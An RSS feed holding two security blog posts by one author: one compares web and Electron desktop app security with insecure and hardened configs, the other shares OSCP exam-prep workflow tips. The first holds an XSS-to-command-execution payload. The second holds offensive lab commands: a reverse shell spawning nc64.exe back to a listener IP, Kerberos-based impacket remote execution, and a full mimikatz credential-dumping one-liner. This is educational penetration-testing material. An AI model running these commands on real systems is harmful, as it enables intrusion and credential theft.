<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vasanth Vanan on Medium]]></title>
        <description><![CDATA[Stories by Vasanth Vanan on Medium]]></description>
        <link>https://medium.com/@vasanthavanan59439?source=rss-e2c6d0b53306------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DlncSsXy3O92ee7HVVNFSw.jpeg</url>
            <title>Stories by Vasanth Vanan on Medium</title>
            <link>https://medium.com/@vasanthavanan59439?source=rss-e2c6d0b53306------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 21:42:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vasanthavanan59439/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Web or Desktop App: Which One is Safer?]]></title>
            <link>https://systemweakness.com/web-or-desktop-app-which-ones-safer-f0233903c35b?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0233903c35b</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Wed, 11 Nov 2026 19:49:47 GMT</pubDate>
            <atom:updated>2026-11-24T13:38:08.311Z</atom:updated>
            <content:encoded><![CDATA[<h4>Why the desktop app you trust might have more doors than you think</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*lJxSHkVQDnPwIAhbdAx8wA.png" /></figure><p>Have you ever installed the Notion or any desktop app because it just <em>felt</em> safer than keeping Notion open in a browser tab?</p><p>A proper app. Its own icon in the dock. Sitting right there on your machine. Must be more secure, right?</p><p>After all, your whole second brain lives in there. Meeting notes, your next plans, and maybe that one API key you really shouldn’t have pasted.. LOL</p><p>I used to think so too. Until I started looking at what actually runs inside these apps.</p><blockquote>Here’s the spoiler: in most cases, the <strong>web app is the safer one</strong>. But there’s a twist, and the twist is probably sitting in your browser’s toolbar right now. Let’s unfold it. And more importantly, let’s see how to lock the doors on both sides.</blockquote><h3>Hotel vs House</h3><p>Think of the <strong>web app</strong> as a hotel room. That’s Notion running inside a Chrome tab or brave tab or whatever.</p><ul><li>the key opens only YOUR room. That’s the browser’s same-origin policy.</li><li>The walls between rooms are thick. That’s the sandbox and isolation.</li><li>When a lock breaks, management replaces it across the whole building within days. That’s browser’s auto-update.</li></ul><p>Now think of the <strong>desktop app</strong> as your own house. That’s <strong>Notion.app</strong> (Mac Desktop App) sitting in your dock.</p><ul><li>More space, more power. It can reach your files, your keychain, your terminal.</li></ul><blockquote><em>Same app. Same workspace. A completely different number of doors.</em></blockquote><p>Keep this picture in your head. Everything below is just this analogy, unfolded technically.</p><h3>How does a Desktop App even work? (Quick Glance)</h3><p>Most desktop versions of web products aren’t really native apps. They’re built on <strong>Electron</strong>, a framework that packs two things into one:</p><ol><li><strong>Chromium</strong>: the same engine behind Chrome, used to draw the UI.</li><li><strong>Node.js</strong>: used to talk to your OS. Files, processes, network, everything.</li></ol><p><strong>Notion’s desktop app is one of them.</strong> So are Slack, Discord, VS Code and the old Microsoft Teams client. Inside, Electron splits the work into processes:</p><ul><li><strong>Renderer process</strong>: shows the web page. Think of it as the browser tab.</li><li><strong>Main process</strong>: runs Node.js with full access to your machine.</li><li><strong>Preload script + IPC</strong>: the bridge between the two. The renderer asks, the main process does.</li></ul><p>So when you open Notion.app in Mac, the page you’re typing in is rendered just like a web page. The stuff that touches your machine, like handling notion:// links, saving files needs the native side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJ-O5DtmCgU6QvFVnc2L2g.png" /></figure><p>Count the amber boxes. The browser side has three ways in, the desktop side has five.</p><blockquote><em>In a browser, a web page can never touch your files directly. In Electron, there’s a bridge built </em>specifically<em> so it can. Whether that bridge is safe depends entirely on how the developers built it.</em></blockquote><h3>Door #1: XSS</h3><p>This is where things get interesting.</p><p>In a browser, if an attacker finds an XSS bug, the damage stays inside that one site. They can steal your session and read your messages. Bad, but contained within Notion Wprkspace.</p><p>Let’s put Notion in the picture. I’m not saying Notion has this bug. But imagine a stored XSS hiding inside a page someone shared with you. In Chrome, the worst case is your Notion session. In a badly configured Electron app, that same page could cross the bridge and <strong>run code on your machine</strong>.</p><p>And no, that’s not a theory. It has happened to big names.</p><p>In 2020, security engineer Oskars Vegeris reported an XSS in Microsoft Teams’ mentions feature. On the web app, it could grab SSO tokens for Teams and other Microsoft services. On the desktop app, he chained it into a <strong>zero click, worm-able, cross platform RCE</strong>. Just by sending a chat message. That was scary! That prompted me to write this whole blog. Earlier that same year he had found a similar RCE in Slack’s desktop app too and Slack paid him.</p><p>Same bug. Two very different blast radius. Most of the time, the culprit is the config.</p><pre>// older Electron apps<br>new BrowserWindow({<br>  webPreferences: {<br>    nodeIntegration: true,    // web page gets Node.js<br>    contextIsolation: false,  // page and preload share one world<br>    sandbox: false            // no Chromium sandbox<br>  }<br>});</pre><p>With that config, a payload this tiny pops a calculator on the victim’s machine:</p><pre>&lt;img src=x onerror=&quot;require(&#39;child_process&#39;). exec(&#39;calc.exe&#39;)&quot;&gt;</pre><p>And here’s the safe version:</p><pre>new BrowserWindow({<br>  webPreferences: {<br>    nodeIntegration: false,<br>    contextIsolation: true,<br>    sandbox: true,<br>    preload: path.join(__dirname, &#39;preload.js&#39;)  // expose ONLY what&#39;s needed<br>  }<br>});</pre><blockquote><strong>Note:</strong> Electron fixed the defaults over the years. nodeIntegration is now off by default, and contextIsolation and the renderer sandbox are on.</blockquote><h3>Door #2: Stale Updates</h3><p>Chrome ships security patches fast. Your browser asks you to relaunch, you click it, and that’s it. Notion in a Chrome tab is patched the moment Chrome is.</p><p>Notion.app is different. Like every Electron app, it carries its <strong>own copy of Chromium</strong> inside. So when Chrome fixes a zero-day, Notion has to pull in a newer Electron, rebuild, test, and ship a release. Same for Slack, Discord and every other Electron app on your machine. Some vendors do it in days. Some.. take their time.</p><blockquote><em>I can hear your question. “But Notion auto-updates, right?” Yes, it does. But it updates on </em><strong><em>Notion’s</em></strong><em> schedule, not Chrome’s. That gap between the two is the window an attacker needs.</em></blockquote><h3>Door #3: Side Doors</h3><p>Notion in a browser tab has one way in: the URL bar. Notion.app has a few more.</p><ul><li><strong>Deep links</strong> (notion://): any website or email can fire one and open the app. If an app trusts those parameters blindly, that&#39;s an entry point.</li><li><strong>shell.openExternal()</strong>: if an Electron app passes an attacker controlled URL here, it can open file:// paths or protocol handlers on your OS.</li></ul><pre>// risky, opens whatever URL the page hands over<br>shell.openExternal(url);<br><br>// better allow only what you expect (protocol or domain)<br>if (new URL(url).protocol === &#39;https:&#39;) shell.openExternal(url);</pre><ul><li>A potential supply chain target is the<strong> auto-updater</strong>. Compromise the update or signing, and malware reaches every user in a single push.</li><li>Notion’s offline mode works only in the desktop and mobile apps, not in a browser. It’s handy on a flight though. But it also means your pages now sit on your laptop’s disk, which is one more thing a stolen laptop can grab.</li></ul><p>And yes, even Notion had one. <strong>CVE-2024–23743</strong> was about Electron’s RunAsNode setting, which can turn the app into a plain Node.js runtime. It&#39;s rated low wiuth 3.3, because an attacker first needs to launch Notion with non-standard flags on your Mac. Not scary at first. But notice what kind of bug it is.. one that <strong>only exists because it&#39;s a desktop app</strong>. Notion in Chrome can&#39;t have it.</p><h3>But Wait.. The Hotel Has a Housekeeping Problem</h3><p>The hotel has a weak spot too. <strong>housekeeping has a master key.</strong></p><p>That master key is your browser extensions. Any extension with the</p><blockquote><strong>“Read and change all your data on all websites”</strong></blockquote><p>permission can read your Notion page while it’s open, grab your session, and act as you. It doesn’t need to break the sandbox. You already let it in.</p><p>Think about it. That AI sidebar, the grammar checker, the coupon finder, the free VPN you installed once and forgot. Every one of them sits right next to your Notion workspace.</p><p>Whereas, Notion desktop app doesn&#39;t care about what your extension &#39;zoo&#39; is. It has two more advantages:</p><ul><li><strong>Phishing</strong>: the app knows exactly which server it talks to. Nobody can trick it into typing your password on a fake Notion login page.</li><li><strong>No noisy neighbours</strong>: no CSRF or clickjacking from that shady site open in the next tab.</li></ul><blockquote><strong><em>Note:</em></strong><em> if malware is already running on your machine, both Web &amp; Desktop lose. An infostealer grabs browser cookies and desktop app tokens.</em></blockquote><p>Count the doors. The desktop app has more of them. The browser has exactly one big one - your extensions.</p><h3>Key Takeaway</h3><p><strong>Lock the doors, whichever house you live In.</strong> Picking web or desktop is only half the story. Most breaches don&#39;t need a fancy Electron exploit chain. They need a stolen password, a hijacked session, or one bad extension.</p><p>And honestly, most of us use <strong>both </strong>(Web or Desktop app). So these safeguards matter way more than the choice itself.</p><blockquote><em>If you already do these, great. If not, pick one today.</em></blockquote><h3>For Both, start here</h3><ul><li><strong>Turn on 2 step verification</strong> for your Notion account. Use an authenticator app, not SMS. If your work workspace logs in through SSO, go for passkey or hardware key.</li><li><strong>Stop storing secrets in pages.</strong> API keys, passwords and recovery codes belong in a password manager or a secrets vault.</li><li><strong>Review your connections.</strong> Notion&#39;s settings list the integrations that can read your workspace. Remove anything you don&#39;t recognise.</li><li><strong>Keep updated.</strong> OS, browser, Notion.app. Most exploits hit old versions.</li><li><strong>Encrypt your disk.</strong> FileVault on macOS, BitLocker on Windows.</li><li><strong>Treat shared pages from strangers like email attachments.</strong> Same for a notion:// link in a random email.</li><li><strong>Log out of old sessions.</strong></li></ul><h3>If You Use Notion in the Browser</h3><ul><li><strong>Make a separate browser profile</strong> for Notion or other sensitive apps, with ZERO or few extensions.</li><li><strong>Audit your extensions.</strong> Open chrome://extensions, remove what you don&#39;t use, and set <strong>Site access</strong> to <strong>On click</strong> for the ones you keep. Now they can&#39;t see your Notion page unless you let them.</li></ul><h3>If You Use Notion Desktop App</h3><ul><li><strong>Download it only from Notion&#39;s official site.</strong> Never from other sources.</li><li><strong>Keep auto-update ON</strong>, and actually restart the app when it asks.</li><li><strong>Be stingy with OS permissions.</strong> A notes app rarely needs full disk access, screen recording or accessibility. Check System Settings → Privacy &amp; Security (I meant for Mac).</li><li><strong>Don&#39;t launch it with odd flags or from scripts you don&#39;t trust.</strong> That&#39;s exactly how RunAsNode style bugs get abused.</li></ul><blockquote><strong><em>Quick Tip:</em></strong><em> If you&#39;re on a security team, treat Electron apps like browsers in your patch management. Track their versions, because the Chromium inside them goes stale on its own schedule.</em></blockquote><h3>Conclusion</h3><p>So, which Notion should you open tomorrow morning? For most people, most of the time: <strong>Notion in an up to date browser</strong>. The desktop app is the web app plus an extra layer of doors, and its locks are only as fresh as the vendor keeps them.</p><p>The one exception is housekeeping&#39;s master key. If your browser is packed with random extensions, Notion.app might honestly be the cleaner choice. Or better, clean up those extensions. Your Notion workspace will thank you.</p><p>And this isn&#39;t just about Notion. Slack, Discord, Spotify, Claude&#39;s desktop app.. the same hotel vs house logic applies to every web app that ships a desktop twin. So the real question:</p><blockquote><strong><em>How much of your house have you handed out, and to whom?</em></strong></blockquote><p>The rule I follow is an old one with new tenants: <strong>least privilege.</strong> Give every tab, app, extension and AI agent the SMALLEST key that still lets it do the job. Nothing more.</p><p>Every other extra feature may be an extra door.</p><p><a href="https://medium.com/@vasanthavanan59439">Vasanth Vanan - Medium</a></p><p><strong><em>Find me on</em></strong>: <a href="https://twitter.com/vasanth__vanan"><em>Twitter</em></a> <em>|</em> <a href="https://github.com/VasanthVanan"><em>Github</em></a> <em>|</em> <a href="https://www.linkedin.com/in/vasanthavanan/"><em>LinkedIn</em></a> <em>|</em> <a href="https://www.instagram.com/vasanth_vanan/"><em>Instagram</em></a> <em>|</em> <a href="https://tryhackme.com/p/vasanth.vanan"><em>TryHackMe</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0233903c35b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/web-or-desktop-app-which-ones-safer-f0233903c35b">Web or Desktop App: Which One is Safer?</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[6 vs 1 Battle: My OSCP Strategy]]></title>
            <link>https://systemweakness.com/6-vs-1-battle-my-oscp-strategy-dd23cc0e912b?source=rss-e2c6d0b53306------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd23cc0e912b</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Vasanth Vanan]]></dc:creator>
            <pubDate>Thu, 10 Oct 2024 19:45:09 GMT</pubDate>
            <atom:updated>2026-11-11T18:39:24.031Z</atom:updated>
            <content:encoded><![CDATA[<p>Ever since I started prepping for the OSCP exam, I read countless OSCP journey blogs and learnt different techniques from each one. I’ve always wanted to write one just to give back the same to the cybersec community. In this blog, I would like to discuss my OSCP journey and want to document the strategies for future reference. Many of the approaches discussed here will also apply to the OSCP+ edition — so stay tuned!</p><blockquote>“The secret is to enumerate thoroughly and exploit simply.” — A wiseman from Reddit</blockquote><p>While many say that ‘Enumeration is key’, I’ve realised lately that <strong>Efficiency &gt; Enumeration. </strong>It’s not just about gathering information. It’s about how effectively you acquire knowledge about the machine, connect the dots, minimise the time &amp; energy spent and maximise productivity. At the end of the day, it’s YOU vs 6 random machines in a Royal Rumble!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pC7urClgwu8UoYf4SsMNRQ.jpeg" /></figure><h4>Royal Rumble — The Perfect OSCP Scenario:</h4><ul><li>Wrestlers (Machines) enter the ring at timed intervals. The match (exam) begins with two wrestlers (you and MS01) in the ring.</li><li>New wrestler (Standalone) enters after each interval until all participants have entered. Each wrestler adds more pressure (difficulty) and distractions (rabbit holes) to the game.</li><li>Wrestlers are eliminated (exploited) when they are thrown over the rope (submit flags) using their weakness (vulnerabilities). This continues until one wrestler (you) remains in the ring.</li><li>The last wrestler (you) standing in the ring after all others have been eliminated (exploited) wins the match.</li></ul><p>Sounds a lot like the OSCP, doesn’t it? Both the Royal Rumble and the OSCP exam test your ability to adapt and stay persistent with different strategies under pressure. It’s both a <strong>mental</strong> and <strong>technical</strong> battle.</p><blockquote>Now ask yourself: <strong>Are you ready to rumble?</strong></blockquote><p>In this blog, rather than discussing technically (there are already tons of blogs for that, though I will cover a few at the end), I will focus in-depth on how to be productive, and efficient in doing stuff which ultimately helped me pass the exam.</p><h4>🗂️ Organized Setup for OSCP Exam</h4><p>Maintaining a well organized approach to things you do can significantly improve your efficiency and productivity throughout the exam. There are custom scripts that I wrote for better data handling and to focus more on enumeration and less on repetitive tasks.</p><ol><li><strong>Note Taking — CherryTree Template<br></strong>Inspired from Derron C, I created a template similar to what he used in the AD Attack Path YouTube videos. Having all the gathered information on a single page makes it easier for me to connect the dots and decide the next attack vector.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*hN0o6yUIvZTfwtUf7VG6_w.png" /></figure><p><strong>2. Desktop Workspace Organization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*3WscOQHjjrJ2F5KN7G-d8w.png" /></figure><p>I can hear your question. Yes, I used <strong>10 different desktop workspaces</strong> to ease things. With such an organized setup, I always knew which machine I was working on, and trust me, It made a huge difference in how I managed my tasks. Did it lack? Not at all! Honestly, It depends on the RAM you allocate to the VM. I had a seamless experience toggling between different workspaces. Here’s my structured organization:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*XygyFn-vIETFP2SKAt5Ckg.gif" /></figure><ul><li><strong>Workspace #1 (Topmost) — VPN Terminal.</strong> <br>Nothing much, just an idle terminal that had a VPN connection. I barely used it after establishing the connection.</li><li><strong>Workspace #2</strong> <strong>(Bottom)</strong> — <strong>File Explorer.</strong> <br>I accessed it whenever I needed to browse downloaded files, shared folders for RDP, screenshots, exploits &amp; scripts. It became my go-to space for file management. I didn’t go elsewhere.</li><li><strong>Workspace #3</strong> <strong>(2nd on Top) — TMux for Active Directory tasks</strong>. <br>Whether it was AD enumeration, AD privilege escalation or lateral movement, this TMux terminal was my command centre and I didn’t go elsewhere. (More on TMux in the next section)</li><li><strong>Workspace #4</strong> <strong>(2nd on Bottom)</strong> —<strong> AD</strong> <strong>Cherry Tree Notes. <br></strong>This is solely meant for taking down notes about AD only. Here’s what I love the most: while working in Workspace #3 (AD TMux), if I needed to take notes on Workspace #4, I just had to press <strong>Alt + Command + Down Arrow </strong>and life became simpler!</li><li><strong>Workspace #5 &amp; #6 (3rd on Top and Bottom) —Standalone #1</strong><br>As you might have guessed, these were dedicated to Standalone machine #1. The top workspace had my terminals and browsers, while the bottom had my Cherry Tree notes for that machine.</li><li><strong>Workspace #7 &amp; #8 (4th on Top and Bottom) — Standalone #2</strong> <br>Standalone #2 Terminal, browsers (on top) and its corresponding cherry tree notes (on bottom).</li><li><strong>Workspace #9 &amp; #10 (5th on Top and Bottom) </strong>— <strong>Standalone #3<br></strong>You know the drill by now!</li></ul><p><strong>Why did I set up this way? — </strong>This primarily avoids confusion. Imagine, Juggling between similar FTP servers opened on Standalone #1 and #2 and enumerating similar web servers on Standalone #1, #2 and #3 (It happened to me before). When you mix and match the strategy, it becomes a mess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*2ZSirc8UVucge65f_PC_Cg.jpeg" /></figure><blockquote>Here’s what I did: “Whenever I focused on Active Directory tasks on the upper workspace, I would slide down to take notes and then slide back up to resume my task. To access a file/folder, I would go all the way to the bottom-left corner. To move to next machine, I would slide to the right for Standalone #1, then, I would slide down to take down my notes, and so on..”</blockquote><p>This is the importance of organization especially when handling multiple machines and strategies in ~24 hours.</p><blockquote><strong>Quick Tip:</strong> If you have gained initial access on linux machine and want to switch to the next workspace to explore other standalones, avoid leaving the current one idle. Run PSPY to monitor process and be surprised by what you see when you return back.</blockquote><pre>./pspy64 -r /bin,/etc,/home,/opt,/var,/usr,/tmp -pf -i 1000</pre><p><strong>3. TMux Terminal — True Game Changer</strong></p><p>I can’t stress enough how efficient I felt while using the TMux terminal during my OSCP exam. So, If you haven’t already, do your research and give it a try. I suggest that everyone start incorporating TMux into their day-to-day routines as it might significantly speed up their time management.</p><blockquote>Quick Tip: I created a <strong>SEPARATE</strong> TMux server instance for each terminal workspace (#3, #5, #7,#9). Why? If you run one server instance, all your TMux windows will show across the terminals and workspaces, creating confusions. By setting up Separate server instances for AD and Standalone machines, you keep each workspace organized with its own stuff — no clutter / confusion.”</blockquote><pre>tmux -L AD new -s AD # Separate AD server instance (Workspace #3)<br>tmux -L M1 new -s M1 # Separate Standlaone #1 server (Workspace #5)<br>tmux -L M2 new -s M2 # Separate Standlaone #2 server (Workspace #7)<br>tmux -L M3 new -s M3 # Separate Standlaone #3 server (Workspace #9)<br>-------------------------------------------------------<br>ctrl + b; c # create a new window<br>ctrl + b; n # traverse sequentially through windows<br>ctrl + b; w # lists all windows with sessions and previews it <br>ctrl + b; , # rename the window name<br>ctrl + b; &amp; # deletes the window<br>-------------------------------------------------------<br>ctrl + b; % # splits vertical pane <br>ctrl + b; space # switch panes<br>ctrl + b; (left|up|down|right) # move between panes<br>ctrl + b; hold ctrl + (left|rigt) # resize panes<br>ctrl + b; hold alt + (1|2|4|5) # four equal sized panes<br>ctrl + b; x # deletes the pane</pre><p><strong>4. OSCP Env Helper — Sets Global Environment Variables</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*-vGxhYsUaAlLvpwCCi7x-Q.png" /></figure><ul><li>It is a GUI helper application I developed during my OSCP preparation to assign values to global environment variables. These variables can be further used in recurring commands across terminals irrespective of workspaces and TMUX sessions (It can do more than that).</li><li>It can assign values such as domain names, users, passwords, and IP addresses for MS01, MS02 and DC01. Similarly, It can assign values for one standalone IP and its domain name.</li><li>you can access the GUI from the top-right-most corner of the screen.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*9S5E2bpxE0ES4UBXttixOQ.png" /></figure><p>Once the <strong>‘OK’ </strong>button is clicked, various actions are taken in the backend that may interest you:</p><ul><li>All input values are exported as variables in the <strong>~/.zshrc</strong> file. It can be then accessed with variables — <strong>$DCIP, $MS1, $MS2, $IP, $domain, $user, $pass </strong>across terminals.</li><li>DNS Entries for standalone machines and active directory network are created/updated in the <strong>/etc/hosts</strong> file with the given IP and hostnames.</li><li>AD Domain name is added to <strong>/etc/resolv.conf</strong> to resolve DNS-related queries from kali linux, if any.</li><li><strong>/etc/init.d/networking restart </strong>command is executed to refresh the network changes, if any.</li><li><strong>/etc/ntpsec/ntp.conf</strong> file is updated with the AD domain name to synchronise the given AD network’s time.</li><li><strong>/etc/krb5.conf</strong> file is edited with the AD domain name to configure kerberos for use from kali linux.</li></ul><p>Everything mentioned here happens seamlessly in the backend — taking all the inputs you typed in the GUI. It certainly helped while solving the OSCP Lab modules specifically OSCP A, B and C, where I frequently needed to change the IP addresses and domain names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*F8ulQurNHcLvyOTd" /></figure><h4><strong>⏳ Time Management is Crucial</strong></h4><blockquote>Note: Everyone might have a varying strategy on approaching OSCP exams and the method outlined here reflects my approach.</blockquote><ul><li>Kickstart AD (MS01) and enumerate it while simultaneously running AutoRecon for Standalone <strong>#1</strong>, followed by <strong>#2</strong> and <strong>#3</strong> respectively.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KpmO6ALbmAcv-fgz9mJRXg.png" /></figure><ul><li>As soon as each AutoRecon scan completes, DON’T let the CPU idle — immediately review the scan results and identify the open ports. Most OSCP standalones are likely to have Port 80 / 8080 / 443 to be opened. Feroxbuster should be your best friend. use it to recursively enumerate hidden directories. But remember, the goal here is to eliminate ports that could lead you down to rabbit holes.</li><li>These things can generally take time. For instance, AutoRecon for standalone #1 can take around 30–50 minutes depending on the number of open ports. But <strong>who’s gonna notify you when it is done?</strong> After thinking it over, I wrote a simple alias command:</li></ul><pre># append it in ~/.zshrc<br>alias alert=&#39;zenity --info --text=&quot;background script completed&quot; --title=&quot;Alert&quot; &gt; /dev/null 2&gt;&amp;1&#39;<br># zenity is a GUI application that displays dialog with custom info<br><br># Append &#39;&amp;&amp; alert&#39; to every command that takes time<br>autorecon $IP &amp;&amp; alert<br><br># Once the execution is complete, you will get an instant notification<br># Now, carry on with the next scan.<br># thank me later :)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*u5Y_5KPF5wltbXSrp06P3w.png" /></figure><p>Here’s the notion template that I used to keep track of the background task lists: <a href="https://vasanth-vanan.notion.site/Background-Tasks-List-e523849a840b4ec8abb89e71d60e12b4">https://vasanth-vanan.notion.site/Background-Tasks-List-e523849a840b4ec8abb89e71d60e12b4</a></p><p>Here are some of the other aliases &amp; functions:</p><pre>alias conptyshell=&#39;stty raw -echo; (stty size; cat) | nc -lvnp&#39; # conptyshell 443<br><br>alias autorecon=&#39;sudo env &quot;PATH=$PATH&quot; autorecon&#39; # AutoRecon PATH resolve<br><br># listen ports with default port (443) or a custom port<br>alias rlwnclist=&#39;rlwrap -ef nc -lvnp&#39;<br>listener() { rlwnclist &quot;${1:-443}&quot;; }<br><br># only for Mac M1 users (ARM Architecture)<br>alias rustscan=&#39;sudo docker run -it --rm --name rustscan prox33/rustscan:latest --range 1-65535&#39; <br><br># used for PSUpload.ps1 file server <br>pyupload() {echo -e &quot;Server URL: \033[92mhttp://$(ip addr show tun0 | grep -oP &#39;inet \K[\d.]+&#39;):8000/upload\033[0m&quot; &amp;&amp; python3 -m uploadserver }<br><br># create and change directory<br>mcd() { mkdir -p &quot;$1&quot; &amp;&amp; cd &quot;$1&quot;; }</pre><h4>☑️ Things to do after getting a domain credential [Checklist]</h4><ul><li>Dump AD information with ldapsearch. I personally like: <strong>ldeep </strong>tool</li><li>Use <strong>bloodhound-python</strong> to collect the bloodhound data from AD</li><li>Run <strong>enum4linux-ng</strong> with those creds and access listed shares</li><li>Run <strong>nxc-auto</strong> custom tool to automate the enumeration for SMB and LDAP protocol with NetExec <a href="https://gist.github.com/VasanthVanan/a55048e34938ebcdbfb6ff9a6a13bfcb">(gist) (↗)</a>. You can also refer later for screenshots.</li><li>Configure Kerberos (<strong>/etc/krb5.conf</strong>) in Linux and try the following:</li></ul><pre>kinit user # type password. get TGT / TGS<br># or convert the given kirbi ticket to ccache and export it<br>export KRB5CCNAME=ticket.ccache<br>kvno MSSQLSvc/MSSQL.sccm.lab:1433 # get Service Tickets<br><br># use it any of the impacket tools if you had necessary permissions<br>impacket-psexec -k -no-pass sccm.lab/dave@dc.sccm.lab -dc-ip $DCIP<br>impacket-smbexec -k -no-pass sccm.lab/dave@dc.sccm.lab -dc-ip $DCIP<br>impacket-wmiexec -k -no-pass sccm.lab/dave@dc.sccm.lab -dc-ip $DCIP</pre><ul><li>If you have a domain credential but pwned a non-domain joined machine, use runas.exe / RunasCS.ps1 to get a interactive shell from a domain user. (you can also use PS remoting)</li></ul><pre>Invoke-RunasCs domain\user password &quot;C:\Users\Public\nc64.exe 192.168.45.166 443 -e powershell&quot; --force-profile --logon-type 2</pre><h4>☑️ Things to do to get a Reverse Shell [Checklist]</h4><ul><li>Start with ports 443 / 80</li><li>If that’s not working, target the port numbers that are opened (example: If you see a HTTP server at 24322, use that as your listener port).</li><li>If that’s not working, <strong>encode the payload</strong> in some form (base64)</li><li>If that’s hard, use mkfifo / python / python3 to get one</li><li>Use <strong>msfvenom</strong> to generate payloads based on architecture (x86/x64)</li><li>For Windows, try getting <strong>ConPtyShell</strong> interactive shell (Thanks, Rachit Arora for this suggestion)</li><li>Use <strong>Invoke-PowerShellTcpOneLine.ps1</strong> from the Nishang repository</li><li>One Last Hope: <strong>revshells.com</strong></li></ul><h4>☑️ Things to do before Reverting Machines</h4><ul><li>You may have successfully pwned MS01 and MS02, but if you wish to revert the machine at that instant for any reason, all your existing shell will be lost, any overwritten binaries / changed passwords will be reverted, and you will have to go through the initial access all over again. However, one thing that does not change is the assigned <strong>NTLM hashes</strong>. so, before reverting MS01 / MS02, make sure to dump the hashes using <strong>secretdump</strong> / <strong>mimikatz</strong> with the administrator account to skip the initial access line and directly access it through Evil-WinRM / RDP. This way, you can save energy and time!</li><li>Also, the intercepted web request in the Burp suite used for replaying the reverse shell attack may not change often unless the webserver uses some form of cookies, session or CSRF token. So, if connections drop / the machine is reverted, check the repeater tab in the burp suite and request again to save time.</li></ul><h4>🔥 Pro Tips (Technical)</h4><h4>Need for Powershell Expressions:</h4><blockquote>Oftentimes, When using PowerShell commands, the property of the object’s content would get truncated if it exceeds a certain limit. Even, filtering with the select-object command may not help. A better way of displaying that without truncation is using | % {$_.property_name}.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*xmdyqoLUfQE3cA0yOEugJQ.png" /></figure><blockquote>See the difference? Ensure you don’t miss any data during enumeration.</blockquote><ul><li>Use <strong>PASSIVE</strong> mode in the FTP server particularly when the machine is behind a firewall. It allows easier data transfer avoiding restrictive firewall rules.</li><li>If any of the impacket tools aren’t working, use <strong>-debug</strong> option to get the verbose output. It will certainly be useful for understanding what happens under the hood when connecting with kerberos tickets through kali linux. I was stuck in a similar situation and found <strong>-debug </strong>option to be very useful.</li></ul><pre>impacket-psexec -k -no-pass SCCM.LAB/dave@mec.sccm.lab -debug<br>impacket-mssqlclient -k -no-pass SSCM.LAB/sccm-sql@mssql.sccm.lab -debug</pre><ul><li>Quickly identify the type of machine (linux/windows) by pinging and noticing the TTL value. Windows ≤ <strong>128</strong>; Unix/Linux ≤ <strong>64</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*5T4bAlnHqoinwtmKHi_dQw.png" /></figure><ul><li><strong>Mimikatz one-liner</strong>: use this command instead of copying and pasting each item one by one. Also, you can use this one-liner when your mimikatz binary is behaving weirdly. Have you heard / experienced Infinite Loop with mimikatz? If you know, you know..</li></ul><pre>.\mimikatz.exe &quot;privilege::debug&quot; &quot;token::elevate&quot; &quot;log&quot; &quot;lsadump::sam /patch&quot; &quot;lsadump::sam&quot; &quot;sekurlsa::msv&quot; &quot;lsadump::secrets&quot; &quot;lsadump::lsa&quot; &quot;lsadump::lsa /patch&quot; &quot;lsadump::cache&quot; &quot;sekurlsa::logonpasswords full&quot; &quot;sekurlsa::ekeys&quot; &quot;sekurlsa::dpapi&quot; &quot;sekurlsa::credman&quot; &quot;vault::list&quot; &quot;vault::cred /patch&quot; &quot;exit&quot;</pre><ul><li><strong>PS Reverse Shell — </strong>Favourite Pick from the Internet. If a domain user can execute PowerShell commands through the <strong>-X</strong> argument in NetExec / CrackMapExec, then execute a reverse shell. (Shoutout: <a href="https://eins.li/posts/oscp-secret-sauce/">eins blog</a>)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPG_T6dS1eO36UR5XfMM6Q.png" /></figure><ul><li>Check <strong>PowerShell Language mode</strong> to see what execution capabilities are available to users before running into Powershell errors.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*r54P9JRh_8Sv4U_67iuTWg.png" 